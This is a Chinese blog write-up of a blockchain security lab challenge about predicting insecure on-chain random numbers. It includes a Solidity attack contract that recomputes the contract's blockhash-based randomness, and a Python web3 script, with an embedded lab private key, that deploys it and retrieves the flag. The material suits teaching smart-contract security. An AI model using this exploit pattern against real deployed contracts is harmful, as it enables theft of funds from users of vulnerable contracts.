• 某60区块链安全之不安全的随机数实战二学习记录


    区块链安全


    不安全的随机数实战二

    实验目的

    学会使用python3的web3模块
    学会以太坊不安全的随机数漏洞分析及利用

    实验环境

    Ubuntu18.04操作机

    实验工具

    python3

    实验原理

    由于所有以太坊节点在验证交易时,需要计算出相同的结果以达成共识,因此 EVM 本身无法实现真随机数的功能。至于伪随机数,其熵源也是只能是确定值。
    EVM 有五个字节码可以获取当前区块的变量,包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说,都是已知或者可操控的,因此在私有链部署的题目中,可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上,这个方法就不太可行,但我们也可以编写攻击合约,在攻击合约中获取到相同的区块变量值,进一步用相同的算法得到随机数值。

    实验内容

    找到不安全的随机数漏洞并形成利用
    使用python3的web3模块远程利用漏洞并获取flag
    实验地址为nc ip 10004

    获取合约地址和合约源代码
    nc ip 10004连接到题目,输入1,获取部署合约的game account及token
    在这里插入图片描述

    打开http://ip,输入上述分配的game account,点击Request获取eth
    在这里插入图片描述

    nc ip 10004连接到题目,输入2,获取部署合约的地址及new token
    在这里插入图片描述

    nc ip 10004连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
    在这里插入图片描述

    分析合约源代码漏洞
    题目要求把flag设置为true,分析合约代码,需要使balanceOf[msg.sender]=3000
    在这里插入图片描述

    漏洞主要在于EVM 有五个字节码可以获取当前区块的变量,包括 coinbase、timestamp、number、difficulty、gaslimit,虽然依靠这些变量可以生成随机数,但生成的随机数是伪随机数,本题目中只需要使用第三方合约与其交互,随机数生成使用同样的算法即可,因为第三方合约和其交互的交易会打包到同一区块中,这样便可预测随机数。

    EXP利用

    编写第三方合约使用和题目相同的算法预测随机数,将下述ETH4的地址换成自己题目合约的地址

    contract hack {
        ETH4 target = ETH4(0x1ef792186a9EdBd3366A5804D399924F4A98715f);
    
        function hack1() public {
            for(uint i=0;i<3;i++){
                uint256 seed = uint256(block.blockhash(block.number-1));
                uint rand = seed % 10;
                target.bet(rand);
            }
        }
    
        function callsendflag() public {
            target.callsendflag();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    在这里插入图片描述

    调用利用链是先调用hack1(),然后调用callsendflag()即可

    编写exp,将这一过程自动化,下述contract_address的地址换成自己题目合约的地址

    from web3 import Web3, HTTPProvider
    from solcx import compile_source,set_solc_version_pragma
    import time
    
    w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))
    
    contract_address = "0xF05B4DAD63660aDaa2A23F4434fd5f30c24d7480"
    private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
    public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"
    
    def generate_tx(chainID, to, data, value):
        txn = {
            'chainId': chainID,
            'from': Web3.toChecksumAddress(public),
            'to': to,
            'gasPrice': w3.eth.gasPrice,
            'gas': 3000000,
            'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
            'value': Web3.toWei(value, 'ether'),
            'data': data,
        }
        return txn
    
    def sign_and_send(txn):
        signed_txn = w3.eth.account.signTransaction(txn, private)
        txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
        txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
        print("txn_hash=", txn_hash)
        return txn_receipt
    
    set_solc_version_pragma('^0.4.23')
    with open('./attack.sol', 'r') as f:
        SRC_TEXT = f.read()
    compiled_sol = compile_source(SRC_TEXT)
    CONT_IF = compiled_sol[':hack']
    
    txn = generate_tx(8888, '', CONT_IF['bin'], 0)
    txn_receipt = sign_and_send(txn)
    hack_address = txn_receipt['contractAddress']
    print('hack_address =',hack_address)
    
    time.sleep(5)
    
    # hack1()
    data = Web3.keccak(text='hack1()').hex()[:10]
    txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
    Hack = sign_and_send(txn)
    print(Hack)
    
    time.sleep(5)
    
    # callsendflag()
    data = Web3.keccak(text='callsendflag()').hex()[:10]
    txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
    Hack = sign_and_send(txn)
    print(Hack)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56

    打开命令行执行以下命令切换solc版本
    6

    运行exp
    在这里插入图片描述

    nc ip 10004连接到题目,输入3,输入之前的new token,获取flag
    在这里插入图片描述

  • 相关阅读:
    zbxtable
    《对比Excel,轻松学习Python数据分析》读书笔记------时间序列
    ZCC5503 18V 1A 6uA低静态功耗 同步降压控制器
    计算机毕业设计Python+Django的闲置物品交易系统+二手商城网站(源码+系统+mysql数据库+Lw文档)
    【第六周】组合数据类型
    23年基因蓝皮书略读
    匿名信v1.4.4源码下载,安装教程
    Themida是先进的Windows软件保护系统
    故障注入常用方法有哪些 其重要性是什么
    蚂蚁集团境外站点 Seata 实践与探索
  • 原文地址:https://blog.csdn.net/weixin_51387754/article/details/134468047